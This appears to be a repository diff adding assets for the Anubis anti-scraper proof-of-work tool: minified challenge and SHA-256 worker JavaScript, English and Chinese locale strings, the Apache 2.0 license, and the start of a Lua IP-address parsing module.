AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
THE SOFTWARE.
|
||||
|
||||
Includes code from https://github.com/aws/aws-sdk-js-crypto-helpers which is
|
||||
used under the terms of the Apache 2 license.
|
||||
|
||||
@licend The above is the entire license notice
|
||||
for the JavaScript code in this page.
|
||||
*/
|
||||
(()=>{var I=()=>navigator.hardwareConcurrency!==void 0?navigator.hardwareConcurrency:1;function _(e,n,s=5,o=null,i,u=Math.trunc(Math.max(I()/2,1))){console.debug("fast algo");let a="purejs";return window.isSecureContext&&(a="webcrypto"),(navigator.userAgent.includes("Firefox")||navigator.userAgent.includes("Goanna"))&&(console.log("Firefox detected, using pure-JS fallback"),a="purejs"),new Promise((E,x)=>{let M=`${e.basePrefix}/.within.website/x/cmd/anubis/static/js/worker/sha256-${a}.mjs?cacheBuster=${e.version}`,p=[],d=!1,b=()=>{console.log("PoW aborted"),h(),x(new DOMException("Aborted","AbortError"))},h=()=>{d||(d=!0,p.forEach(c=>c.terminate()),o?.removeEventListener("abort",b))};if(o!=null){if(o.aborted)return b();o.addEventListener("abort",b,{once:!0})}for(let c=0;c<u;c++){let g=new Worker(M);g.onmessage=m=>{typeof m.data=="number"?i?.(m.data):(h(),E(m.data))},g.onerror=m=>{h(),x(m)},g.postMessage({data:n,difficulty:s,nonce:c,threads:u}),p.push(g)}})}var j={fast:_,slow:_};var v=(e="",n={})=>{let s=new URL(e,window.location.href);return Object.entries(n).forEach(([o,i])=>s.searchParams.set(o,i)),s.toString()},L=e=>{let n=document.getElementById(e);return n===null?null:JSON.parse(n.textContent)},k=(e,n,s)=>v(`${s}/.within.website/x/cmd/anubis/static/img/${e}.webp`,{cacheBuster:n});var W=async()=>document.documentElement.lang,S=async e=>{let n=L("anubis_base_prefix");if(n!==null)try{return await(await fetch(`${n}/.within.website/x/cmd/anubis/static/locales/${e}.json`)).json()}catch(s){if(console.warn(`Failed to load translations for ${e}, falling back to English`),e!=="en")return await S("en");throw s}},C=()=>{let e=L("anubis_public_url");if(e!==null&&e&&window.location.href.startsWith(e)){let t=new URLSearchParams(window.location.search).get("redir");if(t){try{let u=new URL(t,window.location.href);if(u.protocol==="http:"||u.protocol==="https:")return t}catch(s){}}return window.location.href}return window.location.href},$={},D,A=async()=>{D=await W(),$=await S(D)},r=e=>$[`js_${e}`]||$[e]||e;(async()=>{await A();let e=[{name:"Web Workers",msg:r("web_workers_error"),value:window.Worker},{name:"Cookies",msg:r("cookies_error"),value:navigator.cookieEnabled}],n=document.getElementById("status"),s=document.getElementById("image"),o=document.getElementById("title"),i=document.getElementById("progress"),u=L("anubis_version"),a=L("anubis_base_prefix"),E=document.querySelector("details"),x=!1;E&&E.addEventListener("toggle",()=>{E.open&&(x=!0)});let M=({titleMsg:l,statusMsg:f,imageSrc:w})=>{o.textContent=l,n.textContent=f,s.src=w,i.style.display="none"};n.textContent=r("calculating");for(let{value:l,name:f,msg:w}of e)if(!l){M({titleMsg:`${r("missing_feature")} ${f}`,statusMsg:w,imageSrc:k("reject",u,a)});return}let{challenge:p,rules:d}=L("anubis_challenge"),b=j[d.algorithm];if(!b){M({titleMsg:r("challenge_error"),statusMsg:r("challenge_error_msg"),imageSrc:k("reject",u,a)});return}n.textContent=`${r("calculating_difficulty")} ${d.difficulty}, `,i.style.display="inline-block";let h=document.createTextNode(`${r("speed")} 0kH/s`);n.appendChild(h);let c=0,g=!1,m=Math.pow(16,-d.difficulty);try{let l=Date.now(),{hash:f,nonce:w}=await b({basePrefix:a,version:u},p.randomData,d.difficulty,null,t=>{let y=Date.now()-l;y-c>1e3&&(c=y,h.data=`${r("speed")} ${(t/y).toFixed(3)}kH/s`);let T=Math.pow(1-m,t),P=(1-Math.pow(T,2))*100;i["aria-valuenow"]=P,i.firstElementChild!==null&&(i.firstElementChild.style.width=`${P}%`),T<.1&&!g&&(n.append(document.createElement("br"),document.createTextNode(r("verification_longer"))),g=!0)}),H=Date.now();if(console.log({hash:f,nonce:w}),x){let y=function(){let T=C();window.location.replace(v(`${a}/.within.website/x/cmd/anubis/api/pass-challenge`,{id:p.id,response:f,nonce:w,redir:T,elapsedTime:H-l}))},t=document.getElementById("progress");t.style.display="flex",t.style.alignItems="center",t.style.justifyContent="center",t.style.height="2rem",t.style.borderRadius="1rem",t.style.cursor="pointer",t.style.background="#b16286",t.style.color="white",t.style.fontWeight="bold",t.style.outline="4px solid #b16286",t.style.outlineOffset="2px",t.style.width="min(20rem, 90%)",t.style.margin="1rem auto 2rem",t.textContent=r("finished_reading"),t.onclick=y,setTimeout(y,3e4)}else{let t=C();window.location.replace(v(`${a}/.within.website/x/cmd/anubis/api/pass-challenge`,{id:p.id,response:f,nonce:w,redir:t,elapsedTime:H-l}))}}catch(l){M({titleMsg:r("calculation_error"),statusMsg:`${r("calculation_error_msg")} ${l.message}`,imageSrc:k("reject",u,a)})}})();})();
|
||||
//# sourceMappingURL=main.mjs.map
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,32 @@
|
||||
/*
|
||||
@licstart The following is the entire license notice for the
|
||||
JavaScript code in this page.
|
||||
|
||||
Copyright (c) 2025 Xe Iaso <xe.iaso@techaro.lol>
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in
|
||||
all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
THE SOFTWARE.
|
||||
|
||||
Includes code from https://github.com/aws/aws-sdk-js-crypto-helpers which is
|
||||
used under the terms of the Apache 2 license.
|
||||
|
||||
@licend The above is the entire license notice
|
||||
for the JavaScript code in this page.
|
||||
*/
|
||||
(()=>{var h=new TextEncoder,y=async e=>{let s=h.encode(e);return await crypto.subtle.digest("SHA-256",s)},g=e=>e.reduce((s,a)=>s+a.toString(16).padStart(2,"0"),"");addEventListener("message",async({data:e})=>{let{data:s,difficulty:a,threads:d}=e,t=e.nonce,f=t===0,o=0,c=Math.floor(a/2),l=a%2!==0;for(;;){let u=await y(s+t),i=new Uint8Array(u),r=!0;for(let n=0;n<c;n++)if(i[n]!==0){r=!1;break}if(r&&l&&i[c]>>4!==0&&(r=!1),r){let n=g(i);postMessage({hash:n,data:s,difficulty:a,nonce:t});return}t+=d,o++,t%1!==0&&(t=Math.trunc(t)),f&&(o&1023)===0&&postMessage(t)}});})();
|
||||
//# sourceMappingURL=sha256-webcrypto.mjs.map
|
||||
@@ -0,0 +1,66 @@
|
||||
{
|
||||
"loading": "Loading...",
|
||||
"why_am_i_seeing": "Why am I seeing this?",
|
||||
"protected_by": "Protected by",
|
||||
"protected_from": "From",
|
||||
"made_with": "Made with ❤️ in 🇨🇦",
|
||||
"mascot_design": "Mascot design by",
|
||||
"ai_companies_explanation": "You are seeing this because the administrator of this website has set up Anubis to protect the server against the scourge of AI companies aggressively scraping websites. This can and does cause downtime for the websites, which makes their resources inaccessible for everyone.",
|
||||
"anubis_compromise": "Anubis is a compromise. Anubis uses a Proof-of-Work scheme in the vein of Hashcash, a proposed proof-of-work scheme for reducing email spam. The idea is that at individual scales the additional load is ignorable, but at mass scraper levels it adds up and makes scraping much more expensive.",
|
||||
"hack_purpose": "Ultimately, this is a placeholder solution so that more time can be spent on fingerprinting and identifying headless browsers (EG: via how they do font rendering) so that the challenge proof of work page doesn't need to be presented to users that are much more likely to be legitimate.",
|
||||
"simplified_explanation": "This is a measure against bots and malicious requests similar to a CAPTCHA. However, instead of having to do work yourself, your browser is given a calculation task that it has to solve to ensure that it is a valid client. This concept is called <a href=\"https://en.wikipedia.org/wiki/Proof_of_work\">Proof of Work</a>. The task is calculated in a few seconds and you are granted access to the website. Thank you for your understanding and patience.",
|
||||
"jshelter_note": "Please note that Anubis requires the use of modern JavaScript features that plugins like JShelter will disable. Please disable JShelter or other such plugins for this domain.",
|
||||
"version_info": "This website is running Anubis version",
|
||||
"try_again": "Try again",
|
||||
"go_home": "Go home",
|
||||
"contact_webmaster": "or if you believe you should not be blocked, please contact the webmaster at",
|
||||
"connection_security": "Please wait a moment while we ensure the security of your connection.",
|
||||
"javascript_required": "Sadly, you must enable JavaScript to get past this challenge. This is required because AI companies have changed the social contract around how website hosting works. A no-JS solution is a work-in-progress.",
|
||||
"benchmark_requires_js": "Running the benchmark tool requires JavaScript to be enabled.",
|
||||
"difficulty": "Difficulty:",
|
||||
"algorithm": "Algorithm:",
|
||||
"compare": "Compare:",
|
||||
"time": "Time",
|
||||
"iters": "Iters",
|
||||
"time_a": "Time A",
|
||||
"iters_a": "Iters A",
|
||||
"time_b": "Time B",
|
||||
"iters_b": "Iters B",
|
||||
"static_check_endpoint": "This is just a check endpoint for your reverse proxy to use.",
|
||||
"authorization_required": "Authorization required",
|
||||
"cookies_disabled": "Your browser is configured to disable cookies. Anubis requires cookies for the legitimate interest of making sure you are a valid client. Please enable cookies for this domain",
|
||||
"access_denied": "Access Denied: error code",
|
||||
"dronebl_entry": "DroneBL reported an entry",
|
||||
"see_dronebl_lookup": "see",
|
||||
"internal_server_error": "Internal Server Error: administrator has misconfigured Anubis. Please contact the administrator and ask them to look for the logs around",
|
||||
"invalid_redirect": "Invalid redirect",
|
||||
"redirect_not_parseable": "Redirect URL not parseable",
|
||||
"redirect_domain_not_allowed": "Redirect domain not allowed",
|
||||
"missing_required_forwarded_headers": "Missing required X-Forwarded-* headers",
|
||||
"failed_to_sign_jwt": "failed to sign JWT",
|
||||
"invalid_invocation": "Invalid invocation of MakeChallenge",
|
||||
"client_error_browser": "Client Error: Please ensure your browser is up to date and try again later.",
|
||||
"oh_noes": "Oh noes!",
|
||||
"benchmarking_anubis": "Benchmarking Anubis!",
|
||||
"you_are_not_a_bot": "You are not a bot!",
|
||||
"making_sure_not_bot": "Making sure you're not a bot!",
|
||||
"celphase": "CELPHASE",
|
||||
"js_web_crypto_error": "Your browser doesn't have a functioning web.crypto element. Are you viewing this over a secure context?",
|
||||
"js_web_workers_error": "Your browser doesn't support web workers (Anubis uses this to avoid freezing your browser). Do you have a plugin like JShelter installed?",
|
||||
"js_cookies_error": "Your browser doesn't store cookies. Anubis uses cookies to determine which clients have passed challenges by storing a signed token in a cookie. Please enable storing cookies for this domain. The names of the cookies Anubis stores may vary without notice. Cookie names and values are not part of the public API.",
|
||||
"js_context_not_secure": "Your context is not secure!",
|
||||
"js_context_not_secure_msg": "Try connecting over HTTPS or let the admin know to set up HTTPS. For more information, see <a href=\"https://developer.mozilla.org/en-US/docs/Web/Security/Secure_Contexts#when_is_a_context_considered_secure\">MDN</a>.",
|
||||
"js_calculating": "Calculating...",
|
||||
"js_missing_feature": "Missing feature",
|
||||
"js_challenge_error": "Challenge error!",
|
||||
"js_challenge_error_msg": "Failed to resolve check algorithm. You may want to reload the page.",
|
||||
"js_calculating_difficulty": "Calculating...<br/>Difficulty:",
|
||||
"js_speed": "Speed:",
|
||||
"js_verification_longer": "Verification is taking longer than expected. Please do not refresh the page.",
|
||||
"js_success": "Success!",
|
||||
"js_done_took": "Done! Took",
|
||||
"js_iterations": "iterations",
|
||||
"js_finished_reading": "I've finished reading, continue →",
|
||||
"js_calculation_error": "Calculation error!",
|
||||
"js_calculation_error_msg": "Failed to calculate challenge:"
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
{
|
||||
"loading": "加载中...",
|
||||
"why_am_i_seeing": "为什么我会看到这个？",
|
||||
"protected_by": "本网站由",
|
||||
"protected_from": "保护，来自",
|
||||
"made_with": "在 🇨🇦 用 ❤️ 制作",
|
||||
"mascot_design": "吉祥物由",
|
||||
"ai_companies_explanation": "您会看到这个画面，是因为网站管理员启用了 Anubis 来保护服务器，避免 AI 公司大量爬取网站内容。这类行为会导致网站崩溃，让所有用户都无法正常访问资源。",
|
||||
"anubis_compromise": "Anubis 是一种折中做法。它采用了类似 Hashcash 的工作量证明机制（Proof-of-Work），该机制最初是为了减少垃圾邮件而提出。其核心概念是：对个别用户而言，额外的计算负担可以忽略，但对大规模爬虫来说，累积起来的成本将大幅增加，从而让爬取行为变得更困难。",
|
||||
"hack_purpose": "最终，这是一个占位符解决方案，以便将更多时间用于指纹识别和识别无头浏览器（例如：通过它们如何进行字体渲染），从而无需向更可能是合法用户的用户呈现挑战工作量证明页面。",
|
||||
"jshelter_note": "请注意，Anubis 需要使用现代 JavaScript 功能，而像 JShelter 这类插件可能会阻挡这些功能。请为此域名停用 JShelter 或类似的插件。",
|
||||
"version_info": "这个网站正在运行的 Anubis 版本为",
|
||||
"try_again": "再试一次",
|
||||
"go_home": "返回首页",
|
||||
"contact_webmaster": "或者您觉得您不应该被封锁，请联系网站管理员于",
|
||||
"connection_security": "请稍等，我们需要在继续之前检查您的连接安全性。",
|
||||
"javascript_required": "很遗憾，您必须启用 JavaScript 才能通过这项验证。这是因为 AI 公司已经改变了网站托管的社会契约，因此我们必须采取这样的保护机制。无需 JavaScript 的解决方案仍在开发中。",
|
||||
"benchmark_requires_js": "运行基准测试工具需要启用 JavaScript。",
|
||||
"difficulty": "难度：",
|
||||
"algorithm": "算法：",
|
||||
"compare": "比较：",
|
||||
"time": "时间",
|
||||
"iters": "迭代",
|
||||
"time_a": "时间 A",
|
||||
"iters_a": "迭代 A",
|
||||
"time_b": "时间 B",
|
||||
"iters_b": "迭代 B",
|
||||
"static_check_endpoint": "这是提供给您的反向代理服务器使用的检查端点。",
|
||||
"authorization_required": "需要认证",
|
||||
"cookies_disabled": "您的浏览器目前已禁用 Cookie，为了确认您是合法用户，Anubis 需要启用 Cookie。 请您为此域名启用 Cookie",
|
||||
"access_denied": "拒绝访问：错误代码",
|
||||
"dronebl_entry": "DroneBL 报告了一条记录",
|
||||
"see_dronebl_lookup": "见",
|
||||
"internal_server_error": "内部服务器错误：管理员错误地配置了 Anubis。 请联系管理员要求他们检查日志",
|
||||
"invalid_redirect": "无效的重定向",
|
||||
"redirect_not_parseable": "重定向 URL 无法解析",
|
||||
"redirect_domain_not_allowed": "重定向的域名并不允许",
|
||||
"failed_to_sign_jwt": "签署 JWT 失败",
|
||||
"invalid_invocation": "无效的 MakeChallenge 调用",
|
||||
"client_error_browser": "客户端错误：请确保您的浏览器是最新版本并稍候再试。",
|
||||
"oh_noes": "哎呀糟糕了！",
|
||||
"benchmarking_anubis": "正在进行 Anubis 性能测试！",
|
||||
"you_are_not_a_bot": "你不是机器人！",
|
||||
"making_sure_not_bot": "正在确认你是不是机器人！",
|
||||
"celphase": "CELPHASE 设计",
|
||||
"js_web_crypto_error": "您的浏览器无法正常使用 web.crypto 组件。您是否通过安全连接（HTTPS）查看此网站？",
|
||||
"js_web_workers_error": "您的浏览器并不支持 Web workers （Anubis 使用这个来避免冻结您的浏览器 ）您有安装像是 JShelter 之类的插件吗？",
|
||||
"js_cookies_error": "您的浏览器无法存储 Cookie。 Anubis 会使用 Cookie 存储签署的凭证，以判断用户是否已通过验证。请为此域名启用 Cookie 存储功能。 请注意，Anubis 存储的 Cookie 名称可能会变动，且其名称与内容不属于公开 API 的一部分。",
|
||||
"js_context_not_secure": "您的内容并不安全",
|
||||
"js_context_not_secure_msg": "请尝试使用 HTTPS 连接，或联系网站管理员设置 HTTPS。更多信息请参见 <a href=\"https://developer.mozilla.org/en-US/docs/Web/Security/Secure_Contexts#when_is_a_context_considered_secure\">MDN</a>。",
|
||||
"js_calculating": "计算中...",
|
||||
"js_missing_feature": "缺少功能",
|
||||
"js_challenge_error": "挑战错误！",
|
||||
"js_challenge_error_msg": "解决检查算法失败。 您可能会想要刷新页面。",
|
||||
"js_calculating_difficulty": "计算中...<br/>难度：",
|
||||
"js_speed": "速度：",
|
||||
"js_verification_longer": "验证所花的时间高于预期。 请不要刷新页面。",
|
||||
"js_success": "成功！",
|
||||
"js_done_took": "完成！ 花费",
|
||||
"js_iterations": "迭代",
|
||||
"js_finished_reading": "我读完了，继续 →",
|
||||
"js_calculation_error": "计算错误！",
|
||||
"js_calculation_error_msg": "计算挑战失败：",
|
||||
"missing_required_forwarded_headers": "缺少必要的 X-Forwarded-* 头",
|
||||
"simplified_explanation": "这是一种类似于验证码的措施，用于防止机器人和恶意请求。但是，您无需自己动手，您的浏览器会收到一个计算任务，必须解决该任务以确保它是有效的客户端。这个概念称为<a href=\"https://en.wikipedia.org/wiki/Proof_of_work\">工作量证明</a>。该任务在几秒钟内计算完毕，您将被授予访问网站的权限。感谢您的理解和耐心。"
|
||||
}
|
||||
@@ -0,0 +1,201 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright [yyyy] [name of copyright owner]
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,387 @@
|
||||
local base = require("resty.core.base")
|
||||
local bit = require("bit")
|
||||
local clear_tab = require("table.clear")
|
||||
local new_tab = base.new_tab
|
||||
local find_str = string.find
|
||||
local tonumber = tonumber
|
||||
local ipairs = ipairs
|
||||
local pairs = pairs
|
||||
local ffi = require "ffi"
|
||||
local ffi_cdef = ffi.cdef
|
||||
local ffi_copy = ffi.copy
|
||||
local ffi_new = ffi.new
|
||||
local C = ffi.C
|
||||
local insert_tab = table.insert
|
||||
local string = string
|
||||
local setmetatable=setmetatable
|
||||
local type = type
|
||||
local error = error
|
||||
local str_sub = string.sub
|
||||
local str_byte = string.byte
|
||||
local cur_level = ngx.config.subsystem == "http" and
|
||||
require "ngx.errlog" .get_sys_filter_level()
|
||||
|
||||
local AF_INET = 2
|
||||
local AF_INET6 = 10
|
||||
if ffi.os == "OSX" then
|
||||
AF_INET6 = 30
|
||||
end
|
||||
|
||||
|
||||
local _M = {_VERSION = 0.3}
|
||||
|
||||
|
||||
ffi_cdef[[
|
||||
int inet_pton(int af, const char * restrict src, void * restrict dst);
|
||||
uint32_t ntohl(uint32_t netlong);
|
||||
]]
|
||||
|
||||
|
||||
local parse_ipv4
|
||||
do
|
||||
local inet = ffi_new("unsigned int [1]")
|
||||
|
||||
function parse_ipv4(ip)
|
||||
if not ip then
|
||||
return false
|
||||
end
|
||||
|
||||
if C.inet_pton(AF_INET, ip, inet) ~= 1 then
|
||||
return false
|
||||
end
|
||||
|
||||
return C.ntohl(inet[0])
|
||||
end
|
||||
end
|
||||
_M.parse_ipv4 = parse_ipv4
|
||||
|
||||
local parse_bin_ipv4
|
||||
do
|
||||
local inet = ffi_new("unsigned int [1]")
|
||||
|
||||
function parse_bin_ipv4(ip)
|
||||
if not ip or #ip ~= 4 then
|
||||
return false
|
||||
end
|
||||
|
||||
ffi_copy(inet, ip, 4)
|
||||
return C.ntohl(inet[0])
|
||||
end
|
||||
end
|
||||
|
||||
local parse_ipv6
|
||||
do
|
||||
local inets = ffi_new("unsigned int [4]")
|
||||
|
||||
function parse_ipv6(ip)
|
||||
if not ip then
|
||||
return false
|
||||
end
|
||||
|
||||
if str_byte(ip, 1, 1) == str_byte('[')
|
||||
and str_byte(ip, #ip) == str_byte(']') then
|
||||
|
||||
-- strip square brackets around IPv6 literal if present
|
||||
ip = str_sub(ip, 2, #ip - 1)
|
||||
end
|
||||
|
||||
if C.inet_pton(AF_INET6, ip, inets) ~= 1 then
|
||||
return false
|
||||
end
|
||||
|
||||
local inets_arr = new_tab(4, 0)
|
||||
for i = 0, 3 do
|
||||
insert_tab(inets_arr, C.ntohl(inets[i]))
|
||||
end
|
||||
return inets_arr
|
||||
end
|
||||
end
|
||||
_M.parse_ipv6 = parse_ipv6
|
||||
|
||||
local parse_bin_ipv6
|
||||
do
|
||||
local inets = ffi_new("unsigned int [4]")
|
||||
|
||||
function parse_bin_ipv6(ip)
|
||||
if not ip or #ip ~= 16 then
|
||||
return false
|
||||
end
|
||||
|
||||
ffi_copy(inets, ip, 16)
|
||||
local inets_arr = new_tab(4, 0)
|
||||
for i = 0, 3 do
|
||||
insert_tab(inets_arr, C.ntohl(inets[i]))
|
||||
end
|
||||
return inets_arr
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
local mt = {__index = _M}
|
||||
|
||||
|
||||
local ngx_log = ngx.log
|
||||
local ngx_INFO = ngx.INFO
|
||||
local function log_info(...)
|
||||
if cur_level and ngx_INFO > cur_level then
|
||||
return
|
||||
end
|
||||
|
||||
